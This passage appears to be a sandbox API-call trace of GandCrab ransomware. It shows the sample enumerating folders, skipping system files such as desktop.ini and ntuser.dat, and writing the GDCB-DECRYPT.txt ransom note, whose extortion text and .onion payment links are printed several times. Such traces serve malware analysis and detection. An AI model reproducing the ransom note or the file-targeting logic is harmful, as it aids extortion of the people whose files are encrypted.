(lpString="C:\\swapfile.sys") returned 15 [0052.491] lstrcmpW (lpString1=".sys", lpString2=".sql") returned 1 [0052.491] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0052.491] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1 [0052.491] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1 [0052.491] lstrcatW (in: lpString1="C:\\", lpString2="System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0052.491] lstrlenW (lpString="C:\\System Volume Information") returned 28 [0052.491] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0052.491] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0052.491] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0052.491] lstrcatW (in: lpString1="C:\\", lpString2="Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0052.491] lstrlenW (lpString="C:\\Users") returned 8 [0052.491] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0052.491] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0052.491] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0052.491] lstrcatW (in: lpString1="C:\\", lpString2="Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0052.491] lstrlenW (lpString="C:\\Windows") returned 10 [0052.491] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 0 [0052.491] FindClose (in: hFindFile=0x588b20 | out: hFindFile=0x588b20) returned 1 [0052.491] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.492] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\\\GDCB-DECRYPT.txt") returned 20 [0052.492] CreateFileW (lpFileName="C:\\\\GDCB-DECRYPT.txt" (normalized: "c:\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c0 [0052.494] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.494] WriteFile (in: hFile=0x4c0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285fca4, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285fca4*=0xad6, lpOverlapped=0x0) returned 1 [0052.495] CloseHandle (hObject=0x4c0) returned 1 [0052.496] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.496] lstrlenW (lpString="C:\\") returned 3 [0052.496] lstrcatW (in: lpString1="C:\\", lpString2="*" | out: lpString1="C:\\*") returned="C:\\*" [0052.496] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 0x5889e0 [0052.496] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0052.496] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0052.496] lstrcatW (in: lpString1="C:\\", lpString2="$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0052.496] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0052.496] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.497] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.497] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.497] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.497] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.497] lstrlenW (lpString="C:\\$Recycle.Bin\\") returned 16 [0052.497] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\*") returned="C:\\$Recycle.Bin\\*" [0052.497] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0x588b20 [0052.497] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.497] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.497] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.497] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.497] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.497] lstrcmpW (lpString1="S-1-5-18", lpString2=".") returned 1 [0052.497] lstrcmpW (lpString1="S-1-5-18", lpString2="..") returned 1 [0052.497] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-18" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18") returned="C:\\$Recycle.Bin\\S-1-5-18" [0052.497] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24 [0052.497] lstrcmpW (lpString1=".Bin\\S-1-5-18", lpString2=".sql") returned -1 [0052.497] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.497] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1 [0052.497] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1 [0052.497] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.497] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000") returned 61 [0052.497] lstrcmpW (lpString1=".Bin\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".sql") returned -1 [0052.497] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0 [0052.497] FindClose (in: hFindFile=0x588b20 | out: hFindFile=0x588b20) returned 1 [0052.497] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.498] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\$Recycle.Bin\\\\GDCB-DECRYPT.txt") returned 33 [0052.498] CreateFileW (lpFileName="C:\\$Recycle.Bin\\\\GDCB-DECRYPT.txt" (normalized: "c:\\$recycle.bin\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d8 [0052.498] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.498] WriteFile (in: hFile=0x4d8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285fa1c, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285fa1c*=0xad6, lpOverlapped=0x0) returned 1 [0052.499] CloseHandle (hObject=0x4d8) returned 1 [0052.499] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.499] lstrlenW (lpString="C:\\$Recycle.Bin\\") returned 16 [0052.499] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\*") returned="C:\\$Recycle.Bin\\*" [0052.499] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0x588b20 [0052.499] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.499] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.499] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.499] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.500] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.500] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.500] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.500] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt" [0052.500] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.500] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned 32 [0052.500] lstrlenW (lpString="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned 32 [0052.500] lstrlenW (lpString="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned 32 [0052.500] lstrlenW (lpString="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned 32 [0052.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.500] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.500] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.501] lstrcmpW (lpString1="S-1-5-18", lpString2=".") returned 1 [0052.501] lstrcmpW (lpString1="S-1-5-18", lpString2="..") returned 1 [0052.501] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-18" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18") returned="C:\\$Recycle.Bin\\S-1-5-18" [0052.501] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\") returned="C:\\$Recycle.Bin\\S-1-5-18\\" [0052.501] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.502] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.502] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.502] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.502] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.502] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.502] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\") returned 25 [0052.502] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\*") returned="C:\\$Recycle.Bin\\S-1-5-18\\*" [0052.502] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588ce0 [0052.510] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.510] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.510] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.510] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.510] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.510] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0052.510] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0052.510] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="desktop.ini" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" [0052.510] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0052.510] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0052.510] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.510] FindClose (in: hFindFile=0x588ce0 | out: hFindFile=0x588ce0) returned 1 [0052.510] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.511] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\$Recycle.Bin\\S-1-5-18\\\\GDCB-DECRYPT.txt") returned 42 [0052.511] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\\\GDCB-DECRYPT.txt" (normalized: "c:\\$recycle.bin\\s-1-5-18\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.512] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.512] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.512] CloseHandle (hObject=0x4e0) returned 1 [0052.512] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.513] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\") returned 25 [0052.513] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\*") returned="C:\\$Recycle.Bin\\S-1-5-18\\*" [0052.513] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588a20 [0052.513] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.513] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.513] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.513] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.513] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.513] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0052.513] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0052.513] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="desktop.ini" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" [0052.513] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.513] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0052.513] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0052.513] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0052.513] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0052.513] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0052.513] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.514] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.514] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.514] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.514] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\GDCB-DECRYPT.txt") returned="C:\\$Recycle.Bin\\S-1-5-18\\GDCB-DECRYPT.txt" [0052.514] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.514] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-18\\GDCB-DECRYPT.txt") returned 41 [0052.514] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\GDCB-DECRYPT.txt") returned 41 [0052.514] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\GDCB-DECRYPT.txt") returned 41 [0052.514] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\GDCB-DECRYPT.txt") returned 41 [0052.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.514] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.515] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.515] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.515] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.515] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1 [0052.515] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1 [0052.515] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.515] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0052.515] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.515] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.515] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned 62 [0052.515] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*" [0052.516] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588ea0 [0052.516] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.516] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.516] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.516] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.516] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.516] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0052.516] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0052.516] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="desktop.ini" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini" [0052.516] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73 [0052.516] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0052.516] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.516] FindClose (in: hFindFile=0x588ea0 | out: hFindFile=0x588ea0) returned 1 [0052.516] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.516] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\GDCB-DECRYPT.txt") returned 79 [0052.516] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\GDCB-DECRYPT.txt" (normalized: "c:\\$recycle.bin\\s-1-5-21-1462094071-1423818996-289466292-1000\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.517] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. 